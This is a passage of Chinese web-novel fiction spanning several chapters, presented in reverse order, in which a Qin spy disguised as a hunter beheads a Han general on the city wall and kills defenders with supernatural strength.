“混账东西,废物也配和我同级?”柴烈杀疯了,四处搜寻,“你们将军呢?韩江在哪里!?”
“我要宰了他!”
赵诚愕然,好一个反骨仔,投敌第一件事,竟然是想回去杀了自家老大。
他一边冲杀夺寿,一边对柴烈说道,“韩江被我宰了,你把认识的军官都找出来杀了吧。”
柴烈哼道,“哼,柴某也不是谁都杀,韩军里面还是有些忠勇之辈!”
“嗯?”赵诚目光一扫。
柴烈顿时又低眉耷眼,“柴某的意思是,那些忠勇之辈,也有可用之处,不如让他们也给大人当个家奴?”
赵诚感到好笑,总算知道以柴烈的勇力,怎么混到现在才是个校尉了。
这人被打服了还口无遮拦,
“那你去把他们找出来,抓来见我。”
“领命!”
两人如入无人之境,光是柴烈,便已经是一员千人敌的猛将。
若非赵诚在这,柴烈一人当关,可在城门处死守许久,给秦军造成很大麻烦。
且,他在军中声威不小,如今他一投敌,敌军那是望风而逃。
柴烈越杀越痛快,心中一口郁郁之气都发泄了出去,渐渐找到了投敌的妙处。
大杀四方了一阵,又找出不少韩军之中忠勇的军官,提溜着就回到赵诚处复命。
一共七个人,看着都是魁梧精壮,但也都是领兵顽抗之辈,要不是他们,韩军早就彻底溃散了。
这些人被柴烈抓出来之后,韩军迅速溃散,没过多久就开始向城中逃窜,或者跪地投降,束手就擒。
秦军则围剿残兵,收拢俘虏,迅速占领了叶县城。
这攻城战轻松的,让许多军官都感到匪夷所思。
这哪里是攻坚,简直就像是郊游来了。
不过所有人也都明白,这不是因为他们太强。
而是因为有赵诚神兵天降敌军城头,直接斩了敌将,又攻破瓮城占领城门,他们才能如此轻松,少去许多伤亡。
众士兵感激赵诚,自发传送赵诚威名,将其传得越发神乎其神。
但在统计军功的时候,蒙武却犯了难。
别人的都还好说,有伍长什长等基层军官记录核验,杀敌多少都有个数目。
但是赵诚一人在城墙之上四处冲杀,来去如风,一戟下去就是一大片,杀得太多,也杀得太快,后来甚至还冲杀到瓮城之中与城门之后。
其中杀敌,已经无法计数,只能估算个大概。
再加上昨夜在叶县城中四处冲杀,杀敌也有两千有余。
总的估算下来,已有四五千人。
若再加上做间子获得的情报,潜入城头斩将,内部攻破瓮城,占领城门等种种战功。
这军功写在纸上,已经是骇人听闻。
若非蒙武亲眼所见,他自己都是很难相信。
难以想象,这样的军报传入咸阳,会引起怎样的波澜。
没办法,它实在太像是编造出来的了,这玩意发到咸阳,军司官和主爵中尉能信就有鬼了!
蒙武坐在帐中苦思冥想一阵,又是提起笔来,开始给嬴政写信。
“大王陛下:臣蒙武顿首,敢以边事奏闻……”
第37章 城头斩将,戟扫千军
赵诚在等烤肉。
这韩江定是韩的贵族,他那厨舍里面拿出来的都是难得的好东西。
再配合上赵诚的手艺,这只獐子已是巅峰之作。
本就是赵诚为自己准备的,自然要用心一些,如今即将大功告成,他已是全神贯注,认真至极。
杀人的时机很多,但是这样好的烤獐子,却不是什么时候都有的。
调整火候,撒上调料,刷上一层上好的蜂蜜,赵诚动作悠然而舒缓,娴熟中透着股子优雅。
此时这只獐子光是看着,已经烤得如同艺术,一旁的士卒们看得眼睛都直了,喉头不断耸动,口水一口一口地往下咽。
却见赵诚突然一抬木棍,将獐子放在眼前看了看,又闻了闻,露出满意的笑容来。
他站起身,向着韩江走去。
所有人目光都停留在那只堪称艺术的烤獐子上面,没人觉得有什么不对。
直到,赵诚伸手拽下这只獐子,然后一口咬了下去,吃得满口流油!
校尉眼睛一瞪,顿时大怒,“你这猎户是实心疯了不成!”
他上来抬脚就踹。
下一刻,他眼前一花,却见自己的佩剑不知何时,竟然出现在赵诚的手上。
佩剑一划而过,大腿上传来一线冰凉。
还没反应过来,他那踹向赵诚的腿已经飞了出去。
剧痛传来之际,校尉已经扑倒在地,惊恐异常地看着那人畜无害的猎户。
“你……你怎敢!啊!!”
齐根而断的校尉全腿径直飞到了韩江身前,鲜血飘洒,突兀地染红了韩江的铠甲与手中烤肉。
还在挥斥方遒的韩江,愕然一愣。
身后却传来校尉的惨呼。
“怎么回事!?”
他大惊回头,却见赵诚左手抓着烤獐子,右手提着一把染血长剑。
一边大口吃着,一边走向自己。
在他身侧,校尉正抱腿惨呼,显然,飞过来的那条腿就是他的,而斩掉他腿的剑,就在那猎户手里。
这突如其来的情况,就算是韩江,也一时没有转过弯来。
其余士卒更是脑袋一片空白。
而下一刻,赵诚皱了皱眉头,“聒噪。”
他看都没看一眼身侧的校尉,手中长剑一划,校尉的头颅便已然飞起,惨呼声戛然而止。
如此轻描淡写的一剑,出现在重兵陈列的城头,是如此的突兀,如此的违和,如此的意想不到。
所有人都直愣愣地看着赵诚,觉得这猎户真是失心疯了。
一个猎户,竟然敢在城上杀校尉?
直到有亲信喊了一声,“保护将军!杀了此人!”
但为时已晚,赵诚距离韩江何其近也?
只有韩江身旁与他一起吹牛的几个亲信,拔剑拦了上去。
却见赵诚手腕微动,长剑闪出残影,五名亲信的脑袋便接连搬了家。
前一个脑袋还没落地,最后一个人脑袋已经飞了起来。
扑通扑通!
五名亲信瞬间死去,赵诚如入无人之境,漫步至韩江身前。
四目相对。
韩江如被暴虎按在爪下,浑身汗毛倒竖,背后瞬间被冷汗浸湿。
“你……你究竟是何人??”
就在此时,城下秦军突然暴起,向前冲杀,无边黑色洪流一拥而上,以迅雷不及掩耳之势冲至城下。
“彩!!”
“突骑都尉神威!!”
“大风!!”
“我方猛将神勇无当,敌将必死,杀上城去,接应都尉大人!”
“杀!!”
城门震响间,又有墙基倒塌之声,入城喊杀声,兵卒惨呼声,不绝于耳。
在如此剧变之际,赵诚抹了把脸,露出英武的面容来,咧嘴一笑。
“你不是在找秦军间子吗?”
“我就是!”
淡淡的声音与城头剧变的激烈声音交杂在一起,显得如此的违和。
韩江一颗心瞬间跌落谷底,脑海中闪过昨夜情景,顿时浑身发凉!
怎的就让这凶神摸到了身前??
还他娘的让他给自己烤肉,徐山我¥%&……
“我杀了你!”
韩江举剑,喉间却一凉,城墙陡然旋转起来……
赵诚接住了飞起的韩江头颅,一跃而起,站在女墙之上高举守将头颅!
“守将已死,主动开城门投降者,不杀!”
“余者,杀无赦!”
无数城上兵卒刚刚围上来,看到的却是将军孤零零的一颗头颅,就剩个脑袋了还保护个屁了!
再加上城下剧烈的破城之声,不断冲击着士卒们的心防,有人真的要跳下城头去开城门了。
而城头之上,却又有一副将奔出城楼,大喝下令。
“听我号令!三营围杀敌军间子,二营守住城头,角楼弩机准备,落滚木垒石,下面死守城门!”
“瓮城准备……”
赵诚目光瞬间锁定这人,猛虎下山般冲入乱军之中,手中陡然出现一把精铸大戟。
大戟长一丈二尺,重七十多斤,被赵诚握在手中,挥舞之际,力大如山,横扫千军!
他浑身元气如海爆发,刚入阵中,大戟一挥,身前顿时为之一空。
十几个兵卒竟然直接连人带兵器,都被其大戟直接劈成两半,更有七八个兵卒被大戟长杆扫落城头,向着下面飞去!
一瞬间,十七八条夺寿提示出现在系统之中,寿命暴增近三百年!
兵卒飞落如雨。
下方还在攻城的将士们都惊呆了。
只看那城头之上,就像是下饺子似的,一片一片的敌军爆飞而起,骨断筋折之间,大口吐血落下城头。
这雨落之势,毫不停歇,前面一片敌军刚刚飞出城头,后面一大片就紧随而至,噼里啪啦砸落下来。
反倒将不少闪躲不及时的秦军误伤。
众领兵者见状,连忙下令,“让开那个方位!”
“都尉所在城墙之下,不许站人!”
“哎呀,你闪快一点,都尉大人杀得很快,比你跑得都快!”
“躲开躲开,都尉杀过来了,小心被人砸死!”
“额滴老天爷,这怎么跟下饺子似的?”
“哎呦,这劲太大了,都飞出这么远了,还把俺砸得眼前一黑,都尉当真神力,哎呦哎呦,快救一下……”
赵诚一人在城头之上,竟杀得千军万马为之胆寒,就连友军都是连连闪躲,不少人被砸得哭爹喊娘。
他那大戟一挥,一扫就是一大片,且速度之快,眨眼之间就能扫空十丈方圆。
就如一支利箭,直插那下令副将。
副将刚刚下了两个命令,就看到那凶人飞快冲来,所过之处,竟无人能挡。
那如潮的士兵在他面前就像是纸糊的一样,一扫而空。
直面这人,他才感受到昨天晚上文茂和都双的恐惧,被那双眸子的煞气一冲,腿都软掉了。
于是扭头就跑。
可惜还没跑出两步,赵诚已经冲杀至身后,一戟劈下有若泰山压顶,直接将这副将劈成了两半。
“我看谁还敢胡乱指挥!”
赵诚再次挥戟,轰隆扫落一丈方圆敌军,在一片空荡之中挺立。
“全都听我号令!”
“撤下城头,打开城门,不然把你们全杀了!”
叮叮当当。
不少武器落在地上,面对如此凶人,兵卒们真的感到绝望无力。
许多人竟真的跑下了城头,准备投降了。
当此之际,又有人喊道,“楚国援军不日便至,只要守住今天,秦军必灭,兄弟们杀了他!!他就一个人啊!”
“将军死在他手上,谁杀了他,谁就是将军!”
听到这话,不少兵卒又开始蠢蠢欲动。
赵诚咧嘴一笑,就喜欢这种硬骨头。
那就杀吧,反正说什么投降开门,都是烟雾弹,都是为了让友军少点伤亡。
说起来,精铸大戟真好用啊。
他再次一冲而入密密麻麻的守军之中,一边斩落千军,一边直逼瓮城墙上。
体内元气滚滚如潮,就算是全力爆发元气,一息之间,也可补全。
简直是取之无尽,用之不竭,让赵诚大呼畅快。
赵诚一跃数丈,手中大戟被其挥舞得发出尖锐呼啸,眨眼间杀入瓮城之上,一戟劈落,连弩机滚木一同斩断,将后面的兵卒全都劈成两半。
当此之时,瓮城上的一座大弩机悄然瞄准了它,四名力卒合力上弦的巨箭轰然离弦,直奔赵诚。
赵诚发现之际,巨箭已经射到身前,他不闪不避,挥戟迎上。
大戟与巨箭接触,瞬间开始弯曲,巨大的力道自赵诚手臂贯通至全身,他以力硬顶,全身元气爆发,脚下一蹬。
轰!
墙头爆碎之间,硬生生将巨箭逼停。
他将巨箭拿在手中,体内元气鼓荡,而后火山般爆发,将这巨箭原路甩了回去。
嘭的一声!
巨箭竟然炸出音爆之响,以更快的速度,反射弩机所在!
弩机旁的力卒都看傻了眼。
我们上弦都需要三四个人合力!
他一个人就给甩回来了,那力道竟比弩机力道更大?
这特么是人干出来的事!?
第36章 还吃呢?收你们来了!
这小子真是绝了!
看着赵诚提着两只獐子,在敌军城头之上大摇大摆,走来走去,蒙武又是想笑又是震惊。
那可是敌军重兵把守的城头啊!
此地兵力最是精锐,守卫最是严密,且敌方守将就在近前,一旦露出丝毫马脚,立刻就会被重兵围杀。
但这家伙竟然如入无人之境,在城头之上活蹦乱跳,一点紧张之色都没有。
就算是蒙武,也不由得惊叹赵诚的心理素质巍然如山。
难道这就是艺高人胆大?
他招了招手,将蒙恬叫到近前。
“蒙恬,你看城上那人是谁?”
蒙恬一脸茫然的来到蒙武身边,顺着蒙武的目光看去,顿时浑身一震,惊得差点喊出声来,连忙捂住了自己的嘴巴,眼神之中满是震骇。
他极小声地骇然道,“阿……阿诚!?”
这家伙究竟是怎么混上去的?
让你死间入城拿情报,你掀起大乱就算了,还直接混上守军城头,给敌方将领烤肉去?
简直是千古奇闻!
此战过后,对方的守将恐怕要被钉在耻辱柱上,遗臭千年。
“这家伙,可真是给我吓了一跳。”
蒙武摇头苦笑,叹道,“现在我总算知道他说的信号是什么了。”
大摇大摆地出现在城头之上,还晃来晃去,自己想看不到都不成,这不是信号是什么?
这哪里还需要传递什么信息,只要看到他出现在城头上面,自己自然会关注局势的进展,做出相应的准备,然后找到相应的时机。
自己这个将军,被他安排的明明白白。
蒙恬怔怔看了半晌,终于回过神来,眉头渐渐皱起。
“可是,他到底想要做什么?”
蒙武摇头,“不知道,不过既然他说会有时机,咱们等待便是。”
蒙恬目露担忧之色,“他难道是想在城头刺杀敌方守将。”
“孤身刺杀敌军守将过于凶险,他上一次在隘口冲杀敌将,尚且遍体鳞伤,现在恐怕还没有痊愈。
这一次叶县守军兵力更多,防守更加严密,墙道也更加宽阔,而他只有孤身一人,就算成功杀掉守将,也很难全身而退……”
蒙武想了想,“也有可能是想趁敌方不备,杀入瓮城,从里面打开城门。”
蒙恬说道,“瓮城里面全是陷阱,且有重兵把守,他一旦进了瓮城便再无退路,拼死也要打开城门。
我们需提前做好冲城准备,只要冲城及时,他便可全身而退,甚至能配合我们冲破瓮城”
所谓瓮城,就是在城门后面,再围上一圈小城墙,里面布置好陷阱和弩机,将闯入城门的守军困在其中围杀,以此镇守城门。
所以从里面打开城门很难,就算打开了城门之后,突破瓮城也并不容易。
瓮城瓮城,就是取自瓮中捉鳖之意。
蒙武遥望城头,“诸将都已就位待命,只等赵诚一动,全军即发,破城就在今日。”
……
“咦?那个人看起来怎么这么熟悉?”
“沃耶!突骑都尉!?”
与此同时,许多秦军将士也发现了城头上的赵诚,纷纷侧目看去。
“我在营中见过他,天老爷嘞,他怎么会跑敌军城头去咯?”
“都尉大人真会仙法!”
“这还没攻城呢,咱们最猛的大将都跑敌方城头烤肉去了,这他们还打啥啦?”
“有意思了,他们将军肯定还不知道,这就是隘口一战获得首功的那位,那是能孤身入阵,破敌擒将的绝世猛人,要是知道的话,看他还笑不笑得出来。”
“当间子当到这个程度,赵大人真是头一个……”
此时,城头上的赵诚在城墙边上晃来晃去,看着倒是很积极,手上的活儿时一点没干,被城上的校尉踹了一脚。
“靠近墙边做什么,想死不成?”
“快点滚去烤肉。”
赵诚答应着,抬眼将这校尉的面容记在了心里。
等杀了你们将军,第一个就来宰了你!
他已经看到蒙武的神色,知道蒙武也看见了自己,就算之前不相信自己所说的话,如今应该也会去做相应的准备了。
事以密成,他没有说清楚信号,是因为害怕情报被劫了之后,事情败露,敌方守将有所准备,逃之夭夭。
如今信号传递完毕,也就不用乱晃了,便去一旁将獐子处理干净,开始烤肉。
韩江看过援军密信之后,心头大石落地,如今很是畅快。
他大手一挥,对着城头上面的亲信们说道,“城北徐百将送来许多野货,今日咱们吃肉,让下面的秦军看着咱们吃!”
城头上面一阵欢呼,多日以来积压的情绪在这一刻得到了些许宣泄,士气罕见地回升了一些。
当然,说是吃肉,普通士卒也就能喝到一口肉汤,职级稍微高一点的或许能吃到一口肉。
但就算是一口肉汤,对于这些连饭都快吃不饱的军卒们来说,那也是难得一见的美味。
“多谢将军!”
“哈哈哈,快有一年没尝过肉味了,今天咱兄弟开荤了!”
“咱们在城上吃肉,秦军却只能干看着,馋死他们!”
众军卒兴奋而期待着。
而赵诚则是一边烤肉,一边锁定了韩江的位置。
两人之间隔着百余步的距离,对于赵诚来说,这个距离算不上远。
就算是现在暴起,在无尽守军阻拦下,自己也能势如破竹杀到韩江近前,将其当众斩杀。
不过,还需要给蒙武留下一些准备的时间,就让对方先得意一会却也无妨。
让这些兵卒吃口热汤,也算是吃顿好点的断头饭。
赵诚手中挑着的烤獐子逐渐变得金黄冒油。
城上也飘荡起肉汤的味道,一碗碗肉汤被端了上来,士卒们换防分食,喝的狼吞虎咽,大呼过瘾。
而韩江则是对着几名亲信挥斥方遒,吹嘘自己自始至终都是成竹在胸,些许风霜狼狈,都是做样子给秦军看罢了。
说着,韩江突然想到什么,停下话头对着一旁的一名亲信问道,“城中那名秦军间子还没找到?”
那名亲信立刻跪在地上。
“将军赎罪,麾下士卒已经将城中翻了个底朝天,奈何县治的户籍案牍全都被那间子一把火给烧了个干净,调查艰难。
不过属下已经抓了上百人在逐一问话,想必那间子就在他们之中,情报也不会被他们传递出去。”
韩江点了点头,见着亲信还跪在地上,摆了摆手说道,“起来吧,那么紧张做什么?”
“那秦军间子有勇无谋,连粮草都能烧错,又能知道什么有用的情报?
就算他传递情报出去,恐怕也是一知半解,本将稍作派兵部将,他那情报就没了用处。”
韩江潇洒自信间,看向赵诚的方向,“肉呢?怎么还没好?”
那校尉又站在赵诚身前质问,“将军问你话呢,怎么还没好?”
赵诚嘿嘿笑着,将先烤好的一只递了上去,“这只已经好了。”
炼体圆满后,他的五感敏锐远胜从前,韩江的话全都听在了耳中,不由得失笑不已。
还找间子呢,老子不就在这?
你吃的烤肉就是秦军间子烤的,没烧你的粮草,那是给我们自己留的,你还真当我是烧错了。
何其愚蠢?
韩江接过了烤獐子,见这烤獐子表皮绷得发亮,在油光的覆盖下透着脆黄,顿时食指大动。
他以手中短刀轻轻划开脊背,轻微的"咔嗒"声中,脆黄的表皮裂开,外皮的脆壳与嫩肉分离。
乳白的油花混着肉香喷涌而出,热气裹着肉香扑上鼻尖,让韩江眼睛都要冒出光来。
“好手艺!当赏!”
“猎户呢?唤猎户过来!”
那校尉又屁颠屁颠跑去,这一次对赵诚和颜悦色了些,“将军唤你过去,要赏你呢!”
让我过去?
还有这种好事?
这老小子是赶着投胎啊。
赵诚提着那半熟的獐子,噙着笑来到了韩江身前不远处,“叶县猎户赵诚,见过大人。”
韩江吃了一口热乎乎的烤肉,“獐子烤得确实不错,该赏。”
“来人,给猎户一碗肉汤喝!”
立刻有人给赵诚送上一碗肉汤。
赵诚嫌弃得要死,你吃肉我喝汤是吧?
他却也不生气,毕竟现在手上这只,才是给他自己烤的。
“谢大人,材料有限才烤成这样,要是有粗盐、蜂蜜、野山椒等物,我能烤得更好嘞。”
韩江一听,眼睛更亮,“来人,去我的厨舍,取盐、蜂蜜、山椒来。”
他看了看手中的烤肉,觉得既然有更好的,还是留点肚子吃更好的。
于是将这只丢给了亲信,“你们先吃,分食了吧。”
众亲信早就看得眼馋不已直咽口水,听到这话连连道谢,迫不及待地用短刀切开獐子,大口吃了起来。
而韩江则是提着一只獐子腿,向着城墙边上走去,“随我来。”
几名亲信会意,捧着手中的烤肉,跟在韩江身边,在城墙边上站成一排。
他们当着秦军的面吃着烤肉,挥斥方遒,好不得意,煞是风流。
有一种大敌当前,我自巍然不惧的豪雄之感。
几人吃的,那叫一个爽啊。
本以为如此气概,一定能让秦军为之不安。
再不济,也让他们羡慕嫉妒,馋得他们直咽口水,想吃却只能看着自己吃。
但谁成想,秦军不但不羡慕嫉妒,反而还在发笑,不知道他们在笑什么。
“这……他们为何发笑?”
这一下,反倒让韩江等人有些尴尬,挥斥方遒的风流之感也随之消失了许多。
韩江感到一阵莫名其妙,秦军这笑太过古怪,实在让他摸不到头脑,甚至有些恼火!
“真是莫名其妙!”
就在刚刚。
秦军将士们亲眼看着赵诚走到韩江身边,一个个心情复杂到了极点。
蒙武甚至都做好了赵诚暴起斩将,大军前冲攻城的准备。
谁知道,竟是那韩江自己找死,把赵诚喊过去的。
这下好了,阎王爷都坐到身边了尚不自知,韩江此人还故作潇洒,站在城头装相。
“实在滑稽。”
蒙武自己都笑得不行。
秦军如何不笑?
韩江越是装相,秦军越是发笑。
“还吃呢?阎王爷收你们来了!”
“都这时候了,还在和我们装相,笑死我了。”
“你那吃的哪是烤肉,是断头饭啊。”
“都尉大人此时动手,轻而易举就能摘了他的脑袋。”
“现在的时机太合适了,只是杀了此人,都尉大人如何突围呢?”
“我感觉快了,不管咱们这位阎王爷有什么动作,将军一定会把握战机,立刻攻城,兄弟们,做好准备。”
蒙武笑着,心中那根弦却已经崩到了极致,手中紧握令旗。
暗中已经做好了大量部署,只待赵诚发作,立刻大军攻城。
“赵诚还没动,他在等什么?”
第35章 我军都尉,惊现敌军城头!
赵诚不慌不忙,“好,我们随你去。”
冯全和封若一惊,他们身份可是秦军间子,经不起细查的。
城中自有户籍案牍,只要去查,必然对应不上,那身份就暴露了。
这可如何是好?
冯全和封若都有些焦急起来。
赵诚却完全不急,别人不知道,他还不知道吗?
城内户籍案牍早已经被他一把火烧了个干净。
想要从案牍调查身份,那是痴心妄想。
那兵卒见他如此放松坦然,也放下了许多警惕,“走吧。”
赵诚随他向前走去,又说道,“还有一事要禀明大人,昨日城北的百将大人交代了我们任务,命我们今天去山里打来猎物,然后敬献将军,并为将军烤肉吃。”
“事关将军,我等不敢稍有耽搁,怕担待不起。
还请大人帮我们传个信,说我们今晨去不了了。”
兵卒一愣,脸上出现了为难之色。
他没想到,这猎户樵夫,竟然还和将军有了关联。
事关将军的事,对他来说就不是小事,猎户担待不起,他也担待不起啊。
“这……”他问道,“你确定你们认识城北的百将大人?”
赵诚说道,“昨日刚为徐大人烤了獐子和野兔,徐大人还夸赞我手艺不错嘞。不然我哪有这个荣幸去给将军大人烤肉?”
徐山与韩将军有私交,这事不是什么秘密,这兵卒也有所耳闻,一听之下,也觉得这事像是徐山的风格。
思来想去,他说道,“那与我去城北徐大人处求证,若是有假,立斩不待!”
赵诚连声说是。
兵卒带着三人向着城北而去,一路上严密的巡逻守军盘查,都由他说明了情况。
赵诚三人很快就来到了城北。
一见徐山,兵卒立刻将情况一说,徐山乐了。
他看着赵诚三人说道,“你们三个倒是心大,昨夜那么大的动静,你们竟然睡到了天亮。”
“好了,这事是我下令的,这小子烤肉是个好手,将军最近心情不佳,吃点烤肉或许心情会好些。”
兵卒放心了,行礼之后离去。
徐山又给赵诚下了命令,令其正午之前,打到至少两只野獐子回来,然后就任由赵诚出城进山。
入了山林,赵诚三人越走越深,很快就看到了友军的标记和暗号。
赵诚说道,“你们给将军传信,就说今日之内叶县可破,让将军等我信号,时机一到,便可攻城。”
冯全和封若不解,“要定什么信号?若是入了城,信号可不好传递啊。”
封若也是说道,“大人您不会是想借着烤肉之机,刺杀敌军将领吧?”
“那可是敌军重地啊,您可千万别想不开啊。”
赵诚不耐烦道,“问那么多作甚?就按照我的意思传递就行了。”
冯全二人面面相觑,却也没有办法,只得分散开来,各自循着暗号标记,将情报信息分多个位置传递了出去。
而赵诚则是钻进深山当起了猎户,如风一般在密林之中穿梭来去,搜寻着猎物的身影。
从前他就是打猎的好手,如今炼体圆满,体内元气如海,抓两个野獐子又算什么难事?
不消片刻功夫,他手中的木矛之上,已经穿上了三只野獐子,就地烤了一只。
就在獐子烤的表皮金黄,外焦里嫩的时候。
又有脚步声快速靠近,而后一声怒喝响起。
“何人在此生火?莫不是秦军间子!”
这熟悉的台词,又来?
赵诚异常无语。
他抬头看去,却见两个兵卒快步走来,眼睛也黏在了獐子上,直咽口水。
赵诚没有说话。
两人来到近前,大声喝问,“你生火起烟,是想传递情报吧?”
赵诚恍若未闻,从容的从地上摸了两个石子,在手掌中把玩着。
两个兵卒见赵诚不搭理自己,顿时怒了,“定是秦军间子,拿下!”
说着,竟然真的扑了上来,想将赵诚按在地上制服。
赵诚却是一笑,轻弹手指。
元气爆发之下,石子如同子弹般电射而去,发出尖锐呼啸。
嗤嗤!
两个兵卒刚刚扑到赵诚身前,眉心就被石子贯穿,直愣愣扑倒在地,没了声息。
【你击杀了一名敌人,夺寿十五年】
【你击杀了一名敌人,夺寿十一年】
“你当是昨天呢,还想讹老子的肉?”
赵诚撇了撇嘴,随手抓住一扔,将两人都扔到了树枝上面挂着。
如今城中间子的事情闹得人尽皆知,赵诚的身份更是已经做实,哪里还怕什么打草惊蛇?
吃了顿烤肉,赵诚估摸着时间,挑着两只獐子向着叶县走去。
一路上,偶有遭遇敌方兵卒,想要讹他的獐子,都被他弹指间击杀,而后将尸体挂上了树梢。
到了峪口,夺寿已有一百四十余年,也算是小有收获。
“不错不错,时间尚早,还能赶上将军的午饭。”
“来人,将此人送去东城大营,就说徐山听闻将军近来为城防忧心,甚是牵挂啊,奈何无能为将军分忧,又很是惭愧……日前遇到一猎户,此人烤肉是个好手,特意随军资一同敬献给将军,为将军烤肉,以解将军烦忧。”
“好了,你去吧,等等,还有,若是将军拒绝,你就这样说……”
中间一连串的马屁,拍的手下都记不住了。
一边使劲记忆,一边嘴里还在念叨,迷迷糊糊的带着赵诚向着东城大营去了。
……
叶县城东,秦军大营,飞骑来报。
“将军,城中情报传回来了。”
“拿来。”
蒙武与蒙恬坐在帐中,开始阅览情报。
潜入城中的死间,并非只有赵诚一部,还有其他后续潜入的死间情报也一同传了出来,方便多面印证。
两人越看,神色越是古怪。
“……入亥时未久,城中巡夜营突然调兵向城西围杀,探查之下,竟有同袍四处制造混乱,敌军捉拿不下,连续调兵围杀……城西之处,四处尸体陈列,箭箭封喉……”
“……亥时中,城中官署有火光大作,杀声四起,千余人围攻官署,久攻不下,死伤数百,及将领死,千人溃逃,都尉大人一人追杀千人奔入城东……”
“……城中大营又调两千兵力围杀,都尉大人转战城中,四处突围,终被围于暗巷之中,敌军血勇,前赴后继,吾胆战心惊,无力救援……”
“……入子时,围军愈少,守将惊觉死伤过半,溃逃,都尉大人紧追不舍。后吾入巷中,见尸骨如山,血流成河,当真一夫当关万夫莫开,都尉大人神勇无当……”
帐中一片安静,父子二人一开始还有些心惊肉跳,越看到后面越是沉默。
这还是多方印证,有间子看见的情况。
没看见的地方,赵诚做了多少大事??
蒙恬激动的冒汗,看的直挠头,“死间还能这么做?阿诚把里面搅了个天翻地覆,我说昨夜城头韩军怎么乱作一团。”
“只是,如此凶险围杀,阿诚恐怕也是九死一生才闯出来。”
蒙武也是暗叹赵诚乱来,“敌军竟在暗巷围杀这小子,让他占了地利,不然确实危险。”
“这下怕是要把那韩江气吐血了。”
“再看这一份,这份很详细。”
他拿起冯全和封若的情况,神色很快认真起来。
城中守备虚实,墙体情况,十分详细。
光是这份情报,已经足够蒙武四日内破开此城。
然而最后却附有赵诚的传话,说今天就可以攻城,让蒙武等他的信号。
蒙武仔细看了看。
又将传信翻来覆去找了很久,摸着脑袋深深皱眉。
“……信号呢?”
让本将等他的信号,他倒是把信号是什么说清楚啊!
蒙武气坏了,这等大事,怎么不说清楚?
不说清楚,他又如何安排?
蒙恬也是哭笑不得,“或许,阿诚怕情报被截,事情败露,只能等时机到了再将信号传递出来?”
蒙武揉了揉眉心,决定还是相信赵诚,“双管齐下把,若是今日不成,四日之内也可破城。”
“按照这份情报,派人去暗挖墙基,再派人去城南守备薄弱处潜伏准备。”
“若是今日真等到了赵诚那信号,时机又尚可的话,就立刻攻城。”
很快,命令下达出去,全军许多领兵者都十分不解这些安排,但也没有什么质疑,立刻开始行动了。
巳时末,秦军突然前压,至城下敌军射程之外扎营驻兵,与城头韩军近距对峙。
肃杀之气如乌云压顶。
气氛凝重的快要挤出水来。
韩江站在城头眉头紧皱,心急如焚。
在如此窒息的氛围之中,突然有人来报。
“将军,城北百将徐山送来军资。”
韩江摆了摆手,“入库便可。”
手下又道,“徐山说,他知道将军近来忧心,惭愧不能为大人分忧……”
“……于是又敬献诸多野货和一名擅长烤肉的猎户,说要此人为大人烤肉。”
韩江有些不耐烦了,都特么什么时候了,哪有食欲?
“不吃!”
手下没退去,韩江怒道,“还有什么话,一并说了!”
“他说,说大人在城头烤肉,一派从容,可以打击秦军士气,尽显大人运筹帷幄,让秦军忌惮猜疑,不敢轻易来攻。”
韩江闻言眯起眼来,盯着这名手下,盯得手下背后开始冒汗。
这才说道,“他在教我做事?”
“他懂个屁!”
“让他滚蛋!”
“是!”
手下领命,气冲冲走了,准备回去怒骂那人一番。
就在这时,又有急报。
“将军,宛城的密信。”
“快拿来。”
韩江将密信打开,看了两眼,突然大笑。
“哈哈哈哈,楚国援军明日便到,里应外合,可围杀秦军,将其尽灭于此。”
“妙极!”
他心怀大畅,突然叫住了正离去的那名手下。
“你等一等!”
“让那猎户进来吧,本将觉得徐山说的倒也不错,今日就在城头烤肉,让秦军看看本将的从容不迫,运筹帷幄!”
一刻之后。
蒙武站在营中,远望城头,突然发现韩江也出现在城头,与自己对望。
其眸中再无忧虑苦思之色,反而显得一派从容,与自己对视毫无闪躲,底气甚足,气色也显得好了不少。
蒙武眉头一皱,感觉事情可能有了变数。
“莫不是有援军要到了?”
“还是故布疑阵?”
正猜想推演间,突然发现城头之上,好像有个熟悉身影一闪而过。
蒙武眉头一挑,向那个方向看去。
那身影在女墙之后时隐时现,刚刚在余光一瞥之下,才勉强捕捉到,现如今又看不到了。
蒙武惊疑不定,莫不是出现了错觉?
但下一刻,那身影竟又晃悠到了城边上。
只见其身材高大精壮,草木灰遮盖的面容隐见英武,提着两只獐子跑来跑去,好似忙忙碌碌,却始终在城墙边上乱晃。
不是赵诚又是谁!?
第34章 炼体圆满,拳出惊城
夜沉如水。
城中的搜查紧锣密鼓地进行着,一个个搜城的士兵浑身紧绷,探查着每一个角落。
他们想要搜到那个凶神获得封赏,却又害怕自己下一刻就真的与那凶神遭遇,而后死于非命。
在这种紧张的气氛下,两个时辰很快过去了。
深沉的夜色逐渐变成了朦胧的晨曦。
赵诚体内的药力终于全部消耗掉。
在他的身体表层,糊着一层黑乎乎的东西,闻起来又腥又臭,让他直皱眉头。
但好消息是,随着洗经伐髓结束,他的身体已经脱胎换骨。
吐纳一次所吸收的天地元气,比之前多了十倍不止。
浑身上下存蓄的那些天地元气,也已经悉数进入到了经脉之中。
一股股元气在四肢百骸的经脉里面流转,不断地淬炼着经脉,以及经脉所属部位的体魄。
赵诚默默感知着身体的情况,渐渐有些惊讶。
“经脉能够容纳的天地元气也太多了!
我积累许久的元气,全部进入经脉之中,却只占据了不到百分之一,而且这些元气随着运转,还在不断凝练。”
这意味着,赵诚洗经伐髓之后,体内能够存储的天地元气比之前多了百倍不止,且经脉之中存蓄的天地元气,几乎不会流失。
这让赵诚十分振奋。
他站起身来,用老汉家里为数不多的水,沾湿粗麻布将身上擦拭干净。
然后看了看系统。
【当前剩余寿命:8564年】
“距离出城还有一些时间,推演也不会消耗太多时间,先推演元气淬体看看效果,看是否能够完成元气淬体圆满。”
“系统,投入五百六十四年推演基础炼体功。”
【开始投入寿命修炼基础炼体功。】
【第一年,你经过洗经伐髓,已经褪去凡胎,浑身经脉通畅,根骨已经与之前天差地别,如今你一次呼吸吐纳,比之前十次吐纳吸收的天地元气还要更多。
你不断吐纳着,快速吸收着天地元气,体内经脉之中存蓄的元气越来越多,元气流转着,不断地淬炼你的经脉……】
……
【第十年,你发现,吐纳吸收的天地元气会优先进入胸腹中线的那条大脉,你凭借为数不多的经脉知识,认定这是任督二脉中的任脉,于是开始努力吐纳,准备让元气盈满任脉。】
……
【第五十年,任脉能够存蓄的元气太多了,你通过五十年坚持不懈的吐纳,才终于将任脉盈满。
